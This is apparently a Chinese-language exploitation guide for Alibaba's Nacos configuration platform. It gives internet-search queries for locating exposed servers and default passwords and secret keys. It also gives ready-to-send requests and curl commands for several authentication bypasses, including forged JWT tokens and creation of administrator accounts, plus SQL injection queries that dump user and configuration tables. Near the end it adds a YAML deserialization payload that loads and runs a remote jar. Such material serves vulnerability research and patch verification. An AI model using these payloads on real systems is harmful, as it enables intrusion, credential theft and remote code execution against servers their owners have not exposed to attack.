Nacos 漏洞利用
简介
Nacos是阿里巴巴于2018年开源的项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台,致力于帮助发现、配置和管理微服务。
Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos支持三种部署模式:
- 单机模式 - 用于测试和单机试用。
- 集群模式 - 用于生产环境,确保高可用。
- 多集群模式 - 用于多数据中心场景。
Nacos控制台默认开放端口:8848
Nacos版本:Nacos目前存在两个版本:Nacos 1.X 是老版本,将来会停止维护,Nacos 2.X 是在维护的最新版本
资产测绘
FOFA:
app=“NACOS”
Hunter:
app.name=“Nacos”
Quake:
app:“阿里巴巴网络技术有限公司Nacos”
历史漏洞
漏洞名称 | 漏洞编号 | 影响版本 |
---|---|---|
弱口令 | ||
默认配置未授权访问 | Nacos <= 2.0.0-ALPHA.1 | |
UA白名单权限认证绕过 | CVE-2021-29441 | Nacos < 1.4.1 |
Nacos Derby SQL注入 | CVE-2021-29442、CNVD-2020-67618 | Nacos <= 1.4.1 |
Identity默认值权限认证绕过 | Nacos <= 2.2.0Nacos <= 1.4.4 | |
token.secret.key默认值权限认证绕过 | CVE-2021-43116、QVD-2023-6271、NVDB-CNVDB-2023674205 | 0.1.0 <= Nacos <= 2.2.0 |
SpringBoot-HeapDump未授权漏洞 | ||
Nacos集群Jraft Hessian反序列化 | CNVD-2023-45001 | 1.4.0 <= Nacos < 1.4.6 使用 cluster 集群模式运行2.0.0 <= Nacos < 2.2.3 任意模式启动 |
Nacos-client Yaml反序列化 | Nacos client < 1.4.2 |
弱口令
Nacos存在弱口令漏洞,攻击者可利用默认弱密码登录系统后台,获取所有命名空间下的配置资源,泄露数据库账号密码或secret等敏感信息。
默认用户名/密码为:
nacos/nacos
默认密码nacos
的加盐密码串$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu
默认配置未授权访问
1.漏洞描述
按照官方配置文档,默认不开启鉴权。
application.properties配置文件中默认为:
nacos.core.auth.enabled=false
2.影响版本
Nacos <= 2.0.0-ALPHA.1
3.漏洞利用
查看用户列表
/nacos/v1/auth/users?pageNo=1&pageSize=9
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur
/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
获取集群信息
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
获取配置信息
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
UA白名单权限认证绕过(CVE-2021-29441)
1.漏洞描述
在1.2~1.4.0版本期间,nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
2.影响版本
Nacos < 1.4.1
3.漏洞利用
利用一:查看用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host:
User-Agent: Nacos-Server
使用cURL工具
curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=1' -H 'User-Agent: Nacos-Server'
利用二:新建管理员用户
POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27
username=test&password=test
curl -XPOST -H 'User-Agent: Nacos-Server' 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
发送POST请求,返回码200,创建用户成功~!
derby SQL注入(CVE-2021-29442)
1.漏洞描述
在版本1.4.1之前的Nacos中,ConfigOpsController允许用户执行管理操作,例如查询数据库,甚至清除数据库。虽然/data/remove端点使用@Secured注解得到了正确的保护,但是/derby端点未受保护,
2.影响版本
Nacos <= 1.4.1
3.漏洞利用
/nacos/v1/cs/ops/derby?sql=select+user,password+from+users
其他SQL语句
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
Nacos Identity默认值权限认证绕过
1.漏洞描述
从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。
application.properties
配置中,默认server.identity
值为:
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
2.影响版本
Nacos <= 2.2.0
Nacos <= 1.4.4
3.漏洞利用
利用一:查看用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host:
serverIdentity: security
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur"
利用二:新增管理员用户
POST /nacos/v1/auth/users HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31
username=test&password=test
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H "serverIdentity: security"
Nacos token.secret.key默认值权限认证绕过
1.漏洞描述
Nacos使用token.secret.key来进行身份认证和加密,这个密钥在Nacos版本 <= 2.2.0 时仍获取的是固定的默认值,导致攻击者可以利用默认secret.key生成JWT Token,从而绕过身份认证并进入Nacos后台。
application.properties配置中,默认的token.secret.key值:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
2.影响版本
Nacos <= 2.2.0
Nacos <= 1.4.4
3.漏洞利用
使用jwt.io网站在线生成JWT Token
修改时间戳大于当日时间,填入token.secret.key的值,并勾选secret base64 encoded,复制左边输入框中生成的结果
时间戳生成网站:https://tool.lu/timestamp/
利用一:查看用户列表
GET请求
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU
POST请求使用Authorization
需要加上"Bearer "
curl "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU"
利用二:获取accessToken跳过登陆认证,密码错误也可以
抓取登陆请求包中的Authorization,发包获取accessToken
POST /nacos/v1/auth/users/login HTTP/1.1
Host:
Content-Length: 28
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5NzQ1MzEzMn0.8HVzbH5XD_04H-rkGGtPIxGNcsOREr-jQjibkXfeDNs
username=nacos&password=1111
修改响应包为登录成功带有accessToken的响应包,成功绕过登录到后台页面
SpringBoot-HeapDump未授权漏洞
POC
/nacos/actuator/heapdump
可以尝试下载heapdump进行解密,可利用关键字
nacos.core.auth.default.token.secret.key
再配合上述默认secret.key漏洞去生成accessToken
Nacos集群Jraft Hessian反序列化
1.漏洞描述
Nacos默认的7848端口是用来处理集群模式下Jraft协议的通信,该端口的服务在处理部分Jraft请求时,未对使用hessian反序列化进行限制,导致攻击者可以通过发送特制的请求触发该漏洞,最终执行任意远程代码。
2.影响版本
1.4.0 <= Nacos < 1.4.6 使用 cluster 集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动
3.漏洞利用
使用开源工具进行利用
https://github.com/c0olw/NacosRce
Nacos-client Yaml反序列化
1.漏洞描述
在Nacos 1.4.1版本之前,使用AbstractConfigChangeListener监听器的客户端,存在Yaml反序列化漏洞,可以请求远程的Jar包并执行,该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置。
2.影响版本
Nacos client < 1.4.2
3.漏洞利用
下载 https://github.com/artsploit/yaml-payload 修改AwesomeScriptEngineFactory.java
中需要执行的命令
编译成jar包上传服务器,并开启web服务,提供访问
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
新建配置,选择yaml,填写配置内容:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:7800/yaml-payload.jar"]
]]
]
点击发布,即可触发。
payload绕过
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7800/yaml-payload.jar"]]]]
参考链接